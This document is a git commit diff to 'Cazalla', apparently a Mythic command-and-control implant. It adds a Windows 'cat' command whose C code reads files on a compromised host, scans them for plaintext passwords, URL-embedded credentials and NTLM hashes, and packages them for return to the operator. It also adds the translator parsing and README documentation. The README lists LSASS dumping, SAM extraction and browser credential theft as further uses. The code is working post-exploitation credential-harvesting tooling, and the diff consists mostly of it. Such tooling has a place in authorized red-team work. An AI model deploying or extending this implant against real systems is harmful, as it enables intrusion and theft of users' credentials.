Credentials created

This commit is contained in:
marcos.luna
2025-10-29 14:56:02 +01:00
parent df8e824f5f
commit 43bac24419
10 changed files with 879 additions and 5 deletions
@@ -7,6 +7,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#include <string.h>
#include <ctype.h>
VOID CambiarDirectorio(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
@@ -443,3 +446,508 @@ end:;
// Cleanup
LocalFree(ruta);
}
// Helper function to detect credentials in file content (internal use only)
// Returns TRUE if credentials were found and added
static BOOL detectarCredencialesEnContenido(PPaquete respuestaTarea, PCHAR contenido, SIZE_T tamanoContenido) {
if (!contenido || tamanoContenido == 0) {
return FALSE;
}
BOOL credencialesEncontradas = FALSE;
char buffer[4096] = {0};
// Convertir contenido a string null-terminated para análisis
PCHAR contenidoStr = (PCHAR)LocalAlloc(LPTR, tamanoContenido + 1);
if (!contenidoStr) {
return FALSE;
}
memcpy(contenidoStr, contenido, tamanoContenido);
contenidoStr[tamanoContenido] = '\0';
// Buscar patrones comunes de credenciales línea por línea
PCHAR lineaActual = contenidoStr;
PCHAR siguienteLinea = NULL;
while (lineaActual < contenidoStr + tamanoContenido) {
// Encontrar fin de línea
siguienteLinea = lineaActual;
while (*siguienteLinea != '\n' && *siguienteLinea != '\r' && *siguienteLinea != '\0') {
siguienteLinea++;
}
SIZE_T lineaLen = siguienteLinea - lineaActual;
if (lineaLen > sizeof(buffer) - 1) {
lineaLen = sizeof(buffer) - 1;
}
memcpy(buffer, lineaActual, lineaLen);
buffer[lineaLen] = '\0';
// Convertir a minúsculas para búsqueda case-insensitive
char lineaLower[4096] = {0};
for (SIZE_T i = 0; i < lineaLen && i < sizeof(lineaLower) - 1; i++) {
lineaLower[i] = tolower(buffer[i]);
}
// Patrón 0: username:password (formato simple y muy común)
// Soporta múltiples formatos:
// - username:password
// - dominio\usuario:password
// - usuario@dominio:password
PCHAR colonPtr = (PCHAR)memchr(buffer, ':', lineaLen);
if (colonPtr && colonPtr > buffer && colonPtr < buffer + lineaLen - 1) {
// Verificar que el formato parece username:password
// No debe haber espacios antes del :
BOOL isValidFormat = TRUE;
PCHAR checkSpace = buffer;
while (checkSpace < colonPtr) {
if (*checkSpace == ' ' || *checkSpace == '\t') {
isValidFormat = FALSE;
break;
}
checkSpace++;
}
// Verificar que después del : hay al menos un carácter no-espacio
PCHAR afterColon = colonPtr + 1;
if (*afterColon == ' ' || *afterColon == '\t' || *afterColon == '\0') {
isValidFormat = FALSE;
}
if (isValidFormat) {
// Extraer password (después del :)
SIZE_T passLen = 0;
PCHAR passStart = afterColon;
while (passStart < buffer + lineaLen &&
*passStart != ' ' && *passStart != '\t' &&
*passStart != '\r' && *passStart != '\n' &&
*passStart != '\0') {
passLen++;
passStart++;
}
// Verificar que no es solo un hash (32 hex chars) - eso lo detectamos más abajo
BOOL isLikelyHash = FALSE;
if (passLen == 32) {
isLikelyHash = TRUE;
for (SIZE_T i = 0; i < 32 && afterColon + i < buffer + lineaLen; i++) {
if (!isxdigit(afterColon[i])) {
isLikelyHash = FALSE;
break;
}
}
}
if (passLen > 0 && passLen < 512 && !isLikelyHash) {
char password[512] = {0};
memcpy(password, afterColon, passLen);
password[passLen] = '\0';
// Extraer username y realm según el formato
SIZE_T userLen = colonPtr - buffer;
if (userLen > 0 && userLen < 256) {
char username[256] = {0};
char realm[256] = {0};
BOOL hasRealm = FALSE;
// Buscar formato dominio\usuario
// Buscar backslash en el buffer original (no en lineaLower)
PCHAR backslashPtr = NULL;
for (SIZE_T i = 0; i < userLen; i++) {
if (buffer[i] == '\\') {
backslashPtr = buffer + i;
break;
}
}
if (backslashPtr && backslashPtr > buffer && backslashPtr < colonPtr) {
// Formato: dominio\usuario
SIZE_T domainLen = backslashPtr - buffer;
SIZE_T actualUserLen = colonPtr - backslashPtr - 1;
if (domainLen > 0 && domainLen < 255 && actualUserLen > 0 && actualUserLen < 255) {
// Copiar dominio al realm
memcpy(realm, buffer, domainLen);
realm[domainLen] = '\0';
// Copiar usuario al username (saltar el backslash)
memcpy(username, backslashPtr + 1, actualUserLen);
username[actualUserLen] = '\0';
hasRealm = TRUE;
_dbg("[cat] Formato dominio\\usuario detectado: domainLen=%zu, actualUserLen=%zu, realm='%s', username='%s'",
domainLen, actualUserLen, realm, username);
} else {
_dbg("[cat] Formato dominio\\usuario inválido: domainLen=%zu, actualUserLen=%zu",
domainLen, actualUserLen);
}
} else {
// Buscar formato usuario@dominio
// Buscar @ en el buffer original
PCHAR atPtr = NULL;
for (SIZE_T i = 0; i < userLen; i++) {
if (buffer[i] == '@') {
atPtr = buffer + i;
break;
}
}
if (atPtr && atPtr > buffer && atPtr < colonPtr) {
// Formato: usuario@dominio
SIZE_T actualUserLen = atPtr - buffer;
SIZE_T domainLen = colonPtr - atPtr - 1;
if (actualUserLen > 0 && actualUserLen < 255 && domainLen > 0 && domainLen < 255) {
// Copiar usuario al username
memcpy(username, buffer, actualUserLen);
username[actualUserLen] = '\0';
// Copiar dominio al realm (saltar el @)
memcpy(realm, atPtr + 1, domainLen);
realm[domainLen] = '\0';
hasRealm = TRUE;
_dbg("[cat] Formato usuario@dominio detectado: actualUserLen=%zu, domainLen=%zu, username='%s', realm='%s'",
actualUserLen, domainLen, username, realm);
} else {
_dbg("[cat] Formato usuario@dominio inválido: actualUserLen=%zu, domainLen=%zu",
actualUserLen, domainLen);
}
} else {
// Formato simple: username:password
memcpy(username, buffer, userLen);
username[userLen] = '\0';
// realm queda vacío
hasRealm = FALSE;
_dbg("[cat] Formato simple detectado: username='%s'", username);
}
}
// Limpiar espacios finales del username y realm
SIZE_T tempLen = strlen(username);
while (tempLen > 0 && (username[tempLen-1] == ' ' || username[tempLen-1] == '\t')) {
username[--tempLen] = '\0';
}
if (hasRealm) {
tempLen = strlen(realm);
while (tempLen > 0 && (realm[tempLen-1] == ' ' || realm[tempLen-1] == '\t')) {
realm[--tempLen] = '\0';
}
}
// Verificar que los valores extraídos son válidos antes de reportar
if (username[0] != '\0' && password[0] != '\0') {
// Verificar que realm tiene contenido válido si hasRealm es TRUE
PCHAR realmToUse = "";
if (hasRealm) {
SIZE_T realmLen = strlen(realm);
if (realmLen > 0) {
realmToUse = realm;
}
}
// Si hasRealm es FALSE o realm está vacío, realmToUse queda como ""
_dbg("[cat] Agregando credential: username='%s', realm='%s' (hasRealm=%d, realmLen=%zu), password='%.20s'",
username, realmToUse[0] != '\0' ? realmToUse : "(empty)",
hasRealm ? 1 : 0, hasRealm ? strlen(realm) : 0, password);
addCredential(respuestaTarea, "plaintext", realmToUse, password, username);
credencialesEncontradas = TRUE;
// Continuar al siguiente patrón - esta línea ya fue procesada
if (*siguienteLinea == '\r') siguienteLinea++;
if (*siguienteLinea == '\n') siguienteLinea++;
lineaActual = siguienteLinea;
if (*siguienteLinea == '\0') break;
continue; // Saltar otros patrones para esta línea ya procesada
}
}
}
}
}
// Patrón 1: password=value o password:value
PCHAR passPtr = strstr(lineaLower, "password");
if (passPtr) {
// Buscar el delimitador (= o :)
PCHAR delimitador = strchr(passPtr, '=');
if (!delimitador) delimitador = strchr(passPtr, ':');
if (delimitador) {
delimitador++; // Saltar el delimitador
// Buscar el valor (saltar espacios)
while (*delimitador == ' ' || *delimitador == '\t') delimitador++;
// Buscar username en la misma línea o anterior
PCHAR userPtr = strstr(lineaLower, "user");
char username[256] = {0};
if (userPtr) {
PCHAR userDelim = strchr(userPtr, '=');
if (!userDelim) userDelim = strchr(userPtr, ':');
if (userDelim) {
userDelim++;
while (*userDelim == ' ' || *userDelim == '\t') userDelim++;
SIZE_T userLen = 0;
while (*userDelim != ' ' && *userDelim != '\t' && *userDelim != '\r' &&
*userDelim != '\n' && *userDelim != '\0' && userLen < sizeof(username) - 1) {
username[userLen++] = buffer[userDelim - lineaLower];
userDelim++;
}
username[userLen] = '\0';
}
}
// Extraer password value
SIZE_T passLen = 0;
char password[512] = {0};
PCHAR passStart = buffer + (delimitador - lineaLower);
while (*passStart != ' ' && *passStart != '\t' && *passStart != '\r' &&
*passStart != '\n' && *passStart != '\0' && passLen < sizeof(password) - 1) {
password[passLen++] = *passStart;
passStart++;
}
password[passLen] = '\0';
if (passLen > 0) {
addCredential(respuestaTarea, "plaintext", "",
password,
username[0] != '\0' ? username : "unknown");
credencialesEncontradas = TRUE;
}
}
}
// Patrón 2: http://user:pass@host
PCHAR httpPtr = strstr(lineaLower, "http://");
if (!httpPtr) httpPtr = strstr(lineaLower, "https://");
if (httpPtr) {
PCHAR atPtr = strchr(httpPtr, '@');
if (atPtr) {
// Buscar : antes del @
PCHAR colonPtr = httpPtr;
while (colonPtr < atPtr && *colonPtr != ':') colonPtr++;
if (colonPtr < atPtr && *colonPtr == ':') {
PCHAR protocolEnd = httpPtr;
while (*protocolEnd != '/' && *protocolEnd != '\0') protocolEnd++;
if (*protocolEnd == '/' && protocolEnd[1] == '/') {
protocolEnd += 2; // Saltar "//"
SIZE_T userLen = colonPtr - protocolEnd;
SIZE_T passLen = atPtr - colonPtr - 1;
if (userLen > 0 && userLen < 256 && passLen > 0 && passLen < 512) {
char username[256] = {0};
char password[512] = {0};
memcpy(username, buffer + (protocolEnd - lineaLower), userLen);
username[userLen] = '\0';
memcpy(password, buffer + (colonPtr - lineaLower + 1), passLen);
password[passLen] = '\0';
addCredential(respuestaTarea, "plaintext", "", password, username);
credencialesEncontradas = TRUE;
}
}
}
}
}
// Patrón 3: Hash NTLM (formato aad3b435b51404ee:hash)
PCHAR hashPtr = strstr(buffer, "aad3b435b51404ee");
if (!hashPtr) {
// Buscar formato :hash (32 bytes hex después de :)
for (PCHAR p = buffer; p < buffer + lineaLen - 32; p++) {
if (*p == ':' && isxdigit(p[1])) {
// Verificar si los siguientes 32 caracteres son hex
BOOL isValidHash = TRUE;
for (int i = 1; i <= 32 && p + i < buffer + lineaLen; i++) {
if (!isxdigit(p[i])) {
isValidHash = FALSE;
break;
}
}
if (isValidHash && p + 33 <= buffer + lineaLen) {
char hash[65] = {0};
memcpy(hash, p + 1, 32);
hash[32] = '\0';
// Buscar username antes del hash
char username[256] = {0};
PCHAR userStart = buffer;
while (userStart < p && (*userStart == ' ' || *userStart == '\t')) userStart++;
SIZE_T userLen = p - userStart;
if (userLen > 0 && userLen < sizeof(username)) {
memcpy(username, userStart, userLen);
username[userLen] = '\0';
// Limpiar espacios finales
while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
username[--userLen] = '\0';
}
}
addCredential(respuestaTarea, "hash", "", hash,
username[0] != '\0' ? username : "unknown");
credencialesEncontradas = TRUE;
break;
}
}
}
} else {
// Formato aad3b435b51404ee:hash
PCHAR colonAfterPrefix = hashPtr + 16; // 16 = strlen("aad3b435b51404ee")
if (*colonAfterPrefix == ':' && colonAfterPrefix + 32 < buffer + lineaLen) {
char hash[65] = {0};
memcpy(hash, hashPtr, 16);
hash[16] = ':';
memcpy(hash + 17, colonAfterPrefix + 1, 32);
hash[49] = '\0';
// Buscar username
char username[256] = {0};
PCHAR userStart = buffer;
while (userStart < hashPtr && (*userStart == ' ' || *userStart == '\t')) userStart++;
SIZE_T userLen = hashPtr - userStart;
if (userLen > 0 && userLen < sizeof(username)) {
memcpy(username, userStart, userLen);
username[userLen] = '\0';
while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
username[--userLen] = '\0';
}
}
addCredential(respuestaTarea, "hash", "", hash,
username[0] != '\0' ? username : "unknown");
credencialesEncontradas = TRUE;
}
}
// Avanzar al siguiente carácter después del fin de línea
if (*siguienteLinea == '\r') siguienteLinea++;
if (*siguienteLinea == '\n') siguienteLinea++;
lineaActual = siguienteLinea;
if (*siguienteLinea == '\0') break;
}
LocalFree(contenidoStr);
return credencialesEncontradas;
}
VOID LeerFichero(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
_dbg("\t tenemos %d argumentos", nbArg);
if (nbArg == 0) {
return;
}
SIZE_T tamano = 0;
PCHAR rutaFichero = getString(argumentos, &tamano);
_dbg("Reading file: \"%s\"", rutaFichero);
// Abrir archivo para lectura
HANDLE hFile = CreateFileA(
rutaFichero,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
_err("[cat] No se ha podido abrir el archivo. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: No se pudo abrir el archivo. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
// Obtener tamaño del archivo
DWORD fileSizeHigh = 0;
DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
DWORD fileSize = fileSizeLow; // Usar solo low para archivos < 4GB (suficiente para nuestros propósitos)
// Limitar tamaño máximo para evitar problemas de memoria (10MB)
const DWORD MAX_FILE_SIZE = 10 * 1024 * 1024;
if (fileSize > MAX_FILE_SIZE || fileSizeHigh > 0) {
_err("[cat] Archivo demasiado grande: %lu bytes (máximo: %lu bytes)\n", fileSize, MAX_FILE_SIZE);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: Archivo demasiado grande. Máximo permitido: %lu bytes\n",
MAX_FILE_SIZE);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
CloseHandle(hFile);
goto end;
}
// Leer contenido del archivo
PBYTE contenidoArchivo = (PBYTE)LocalAlloc(LPTR, fileSize + 1);
if (!contenidoArchivo) {
_err("[cat] No se pudo asignar memoria para el archivo\n");
CloseHandle(hFile);
goto end;
}
DWORD bytesRead = 0;
if (!ReadFile(hFile, contenidoArchivo, fileSize, &bytesRead, NULL)) {
DWORD error = GetLastError();
_err("[cat] Error leyendo el archivo. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error leyendo archivo. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
LocalFree(contenidoArchivo);
CloseHandle(hFile);
goto end;
}
CloseHandle(hFile);
contenidoArchivo[bytesRead] = '\0'; // Asegurar null termination
PPaquete salida = nuevoPaquete(0, FALSE);
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
// Agregar contenido del archivo a la salida
addBytes(salida, contenidoArchivo, bytesRead, FALSE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
// Detectar y agregar credenciales si se encuentran
// NOTA: No agregamos artifacts porque es una operación de solo lectura
BOOL credsFound = detectarCredencialesEnContenido(respuestaTarea, (PCHAR)contenidoArchivo, bytesRead);
if (credsFound) {
_dbg("[cat] Credenciales detectadas y agregadas");
}
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
LocalFree(contenidoArchivo);
end:
LocalFree(rutaFichero);
}
@@ -17,4 +17,6 @@ VOID CrearRuta(PAnalizador argumentos);
VOID EliminarRuta(PAnalizador argumentos);
VOID LeerFichero(PAnalizador argumentos);
#endif //FILESYSTEM_H
@@ -60,6 +60,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
CrearRuta(analizadorTarea);
} else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
} else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) {
DBG_PRINTF("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
@@ -28,6 +28,7 @@
#define CP_CMD 0x23
#define MKDIR_CMD 0x24
#define RM_CMD 0x25
#define CAT_CMD 0x26
/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
@@ -661,3 +661,39 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) {
addInt32(paquete, (UINT32)value_len);
addString(paquete, artifact_value, FALSE);
}
// Helper function to add credentials to response packages
// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) {
if (!paquete || !credential_type || !credential || !account) {
return;
}
// Credential marker (0xFE, different from artifact marker 0xFF)
addByte(paquete, 0xFE);
// Credential type length and value
SIZE_T type_len = strlen(credential_type);
addInt32(paquete, (UINT32)type_len);
addString(paquete, credential_type, FALSE);
// Realm (can be empty string, but must be included)
// Handle NULL realm parameter by using empty string
PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : "";
SIZE_T realm_len = strlen(realmToAdd);
addInt32(paquete, (UINT32)realm_len);
if (realm_len > 0) {
addString(paquete, realmToAdd, FALSE);
}
// Credential length and value
SIZE_T cred_len = strlen(credential);
addInt32(paquete, (UINT32)cred_len);
addString(paquete, credential, FALSE);
// Account length and value
SIZE_T account_len = strlen(account);
addInt32(paquete, (UINT32)account_len);
addString(paquete, account, FALSE);
}
@@ -35,4 +35,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
/* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
/* Credential helper: adds credential marker and data to response package */
/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
#endif
@@ -0,0 +1,54 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CatArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="file",
type=ParameterType.String,
description="Ruta del archivo a leer"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un archivo a leer")
self.add_arg("file", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class CatCommand(CommandBase):
cmd = "cat"
needs_admin = False
help_cmd = "cat C:\\ruta\\al\\archivo.txt"
description = "Lee el contenido de un archivo y detecta credenciales automáticamente"
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CatArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[SupportedOS.Windows],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
Note: The cat command automatically detects and reports credentials if found in file content.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -14,6 +14,7 @@ commands = {
"cp": {"hex_code": 0x23, "input_type": "string"},
"mkdir": {"hex_code": 0x24, "input_type": "string"},
"rm": {"hex_code": 0x25, "input_type": "string"},
"cat": {"hex_code": 0x26, "input_type": "string"},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -178,8 +178,11 @@ def postResponse(data):
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
# Parse artifacts: format [0xFF][type_len:4][type][value_len:4][value]
# Parse artifacts and credentials:
# Artifacts format: [0xFF][type_len:4][type][value_len:4][value]
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
artifacts_data = []
credentials_data = []
remaining_data = data
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
@@ -225,8 +228,84 @@ def postResponse(data):
remaining_data = remaining_data[offset:]
except:
break
elif remaining_data[0] == 0xFE:
# Credential marker found
offset = 1
# Extract credential type
if len(remaining_data) < offset + 4:
break
type_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if type_len == 0 or len(remaining_data) < offset + type_len:
break
try:
credential_type = remaining_data[offset:offset+type_len].decode('cp850')
offset += type_len
except:
break
# Extract realm
if len(remaining_data) < offset + 4:
break
realm_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if realm_len > 0:
if len(remaining_data) < offset + realm_len:
break
try:
realm = remaining_data[offset:offset+realm_len].decode('cp850')
offset += realm_len
except:
break
else:
# No more artifacts
realm = ""
# Extract credential
if len(remaining_data) < offset + 4:
break
credential_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if credential_len == 0 or len(remaining_data) < offset + credential_len:
break
try:
credential = remaining_data[offset:offset+credential_len].decode('cp850')
offset += credential_len
except:
break
# Extract account
if len(remaining_data) < offset + 4:
break
account_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if account_len == 0 or len(remaining_data) < offset + account_len:
break
try:
account = remaining_data[offset:offset+account_len].decode('cp850')
offset += account_len
credentials_data.append({
"credential_type": credential_type,
"realm": realm,
"credential": credential,
"account": account
})
print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}")
# Continue parsing for multiple credentials
remaining_data = remaining_data[offset:]
except:
break
else:
# No more artifacts or credentials
break
try:
@@ -298,6 +377,23 @@ def postResponse(data):
jsonTask["artifacts"] = artifacts
print(f"[ARTIFACTS] Total de artifacts agregados: {len(artifacts)}")
# Support for credentials: create credentials from parsed data
credentials = []
# Process all detected credentials
for cred_info in credentials_data:
credentials.append({
"credential_type": cred_info["credential_type"],
"realm": cred_info["realm"],
"credential": cred_info["credential"],
"account": cred_info["account"]
})
# Add credentials array if we have any
if len(credentials) > 0:
jsonTask["credentials"] = credentials
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
resTaks.append(jsonTask)
dataJson = {"action": "post_response", "responses": resTaks}
+172 -3
View File
@@ -24,6 +24,7 @@
- [Configuration](#configuration)
- [Process Browser Integration](#process-browser-integration)
- [Artifacts Support](#artifacts-support)
- [Credentials Support](#credentials-support)
- [Development](#development)
- [Troubleshooting](#troubleshooting)
- [Credits](#credits)
@@ -179,6 +180,7 @@ For more information, see the [Mythic documentation on customizing public agents
| `cp` | Copy files | `cp source.txt dest.txt` |
| `mkdir` | Create directory | `mkdir C:\temp\new_folder` |
| `rm` | Delete file or directory | `rm C:\temp\file.txt` |
| `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` |
### Execution & Control
@@ -607,7 +609,9 @@ Example implementations:
### Best Practices for New Commands
**When developing new commands, always consider artifact reporting:**
**When developing new commands, always consider artifact and credential reporting:**
#### Artifacts
✅ **Commands that SHOULD report artifacts:**
- Any command that creates, modifies, or deletes files (`cp`, `mkdir`, `rm`, `upload`, `download`)
@@ -617,16 +621,170 @@ Example implementations:
- Any command that modifies system configuration
❌ **Commands that DON'T need artifacts:**
- Read-only operations (`ls`, `cd`, `pwd`, `cat`, `read`)
- Read-only operations (`ls`, `cd`, `pwd`, `cat`, `read`) - these don't modify system state
- Information gathering commands (`ps`, `whoami`, `hostname`) - unless they create processes
- Commands that only change local state (`sleep`, `exit`)
**Rule of thumb**: If the command modifies system state or creates forensic evidence, it should report an artifact.
#### Credentials
✅ **Commands that SHOULD report credentials:**
- Commands that extract credentials from system memory (LSASS dumps, SAM, etc.)
- Commands that read configuration files containing credentials (`cat`, file readers)
- Commands that extract authentication data (certificates, keys, tickets, cookies)
- Commands that parse credential databases (browsers, password managers, etc.)
- Commands that intercept authentication traffic
- Any command that discovers passwords, hashes, or other authentication material
**Note on `cat`/file reading commands**: While read-only operations don't need artifacts, they SHOULD analyze content and report discovered credentials using `addCredential()`. The `cat` command is a perfect example - it automatically detects and reports:
- Format `username:password` (e.g., `marcos:password123`)
- Format `dominio\usuario:password` (e.g., `test\marcos:password`, extracts realm="test", account="marcos")
- Format `usuario@dominio:password` (e.g., `marcos@tes.com:password`, extracts realm="tes.com", account="marcos")
- Passwords in format `password=value` or `password:value`
- HTTP URLs with embedded credentials: `http://user:pass@host`
- NTLM hashes (format `aad3b435b51404ee:hash` or `:32hexchars`)
**How to add credentials in your command:**
```c
// After discovering credentials, add them to the response
addCredential(respuestaTarea, "plaintext", "DOMAIN", "password123", "username");
addCredential(respuestaTarea, "hash", "", "aad3b435b51404ee...", "Administrator");
// For domain accounts with formato dominio\usuario:
// Extract domain as realm, username as account
addCredential(respuestaTarea, "plaintext", "DOMAIN", "password", "username");
// For format usuario@dominio, extract domain as realm:
addCredential(respuestaTarea, "plaintext", "tes.com", "password", "marcos");
```
For more information, see the [Mythic Artifacts documentation](https://docs.mythic-c2.net/customizing/hooking-features/artifacts).
---
## 🔑 Credentials Support
Cazalla supports reporting discovered credentials to Mythic's credential store, allowing you to track and manage credentials discovered during operations.
### Features
- **Automatic Credential Detection**: Commands can report discovered credentials using the `addCredential()` helper
- **Multiple Credential Types**: Supports `plaintext`, `hash`, `certificate`, `key`, `ticket`, and `cookie`
- **Credential Management**: Credentials appear in Mythic's Credentials page (click the key icon)
- **Associated with Tasks**: Credentials are linked to the task and callback that discovered them
### How It Works
1. **Agent Execution**: When a command discovers credentials (e.g., dumping LSASS, extracting hashes), it:
- Calls `addCredential()` with the credential details
- Includes credential data in the response payload
2. **Translator Detection**: The translator detects credentials in the response:
- Looks for the credential marker (`0xFE`) in the response
- Extracts credential type, realm, credential value, and account
- Creates credential entries in the JSON response
3. **Mythic Integration**: Credentials are automatically:
- Added to the response JSON
- Tracked in Mythic's Credentials page
- Associated with the task and callback
### Example Credential Response
When you execute a command that discovers credentials, the response includes:
```json
{
"task_id": "...",
"user_output": "Credentials extracted successfully",
"credentials": [
{
"credential_type": "plaintext",
"realm": "spooky.local",
"credential": "SuperS3Cr37",
"account": "itsafeature"
},
{
"credential_type": "hash",
"realm": "",
"credential": "aad3b435b51404eeaad3b435b51404ee:...",
"account": "Administrator"
}
]
}
```
### Supported Credential Types
According to [Mythic Credentials documentation](https://docs.mythic-c2.net/customizing/hooking-features/credentials), the following types are supported:
- **plaintext**: Plain text passwords
- **hash**: Password hashes (NTLM, SHA1, etc.)
- **certificate**: Certificates
- **key**: Cryptographic keys
- **ticket**: Kerberos tickets
- **cookie**: Web cookies/session tokens
### Viewing Credentials
1. Navigate to your callback in the Mythic UI
2. Click the **CREDENTIALS** icon (key) in the top navigation
3. View all credentials discovered by all commands across all callbacks
4. Filter by credential type, realm, account, etc.
### Implementation Details
The credential system uses:
- **Agent Side Helper** (`paquete.c`): `addCredential()` function to easily add credentials to any command response
- **Agent Side** (command handlers): Call `addCredential(paquete, "credential_type", "realm", "credential", "account")` after adding response output
- **Translator Side** (`commands_from_implant.py`): Automatically detects, parses, and creates credential JSON
- **Format**: `[0xFE marker][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]`
### Using Credentials in Commands
To add credential reporting to a command:
```c
// After extracting credentials, add them to the response
addCredential(respuestaTarea, "plaintext", "DOMAIN", "password123", "username");
addCredential(respuestaTarea, "hash", "", "aad3b435b51404ee...", "Administrator");
// For local accounts, realm can be empty string
addCredential(respuestaTarea, "hash", "", "ntlm_hash_here", "LOCALUSER");
```
**Example use cases:**
- LSASS dumping tools → `hash` credentials
- Credential extraction commands → `plaintext` or `hash` credentials
- Certificate extraction → `certificate` credentials
- Kerberos ticket extraction → `ticket` credentials
- Browser credential extraction → `plaintext` or `cookie` credentials
- **`cat` command** → Automatically detects and reports credentials found in file contents:
- Passwords in format `password=value` or `password:value`
- HTTP URLs with embedded credentials: `http://user:pass@host`
- NTLM hashes (format `aad3b435b51404ee:hash` or `:32hexchars`)
- Extracts usernames when found in the same line
**Note**: Commands that only READ files (like `cat`) should NOT add artifacts since they don't modify system state. However, they CAN analyze content and report discovered credentials using `addCredential()`.
**Example for `cat` command:**
```c
// Read file contents
// ... read file code ...
// If credentials are discovered in the file content, report them:
if (found_password) {
addCredential(respuestaTarea, "plaintext", "", "password123", "username");
}
// Do NOT add artifacts for read-only operations:
// addArtifact(respuestaTarea, "File Write", file_path); // ❌ WRONG - file wasn't written
```
For more information, see the [Mythic Credentials documentation](https://docs.mythic-c2.net/customizing/hooking-features/credentials).
---
## 🔧 Development
### Project Structure
@@ -661,7 +819,9 @@ Cazalla/
### Adding New Commands
**Important**: When developing new commands, always consider whether the command should report artifacts. Commands that modify system state (create processes, write files, modify registry, create network connections, etc.) should include artifact reporting using the `addArtifact()` helper function. See [Artifacts Support](#artifacts-support) for details.
**Important**: When developing new commands, always consider:
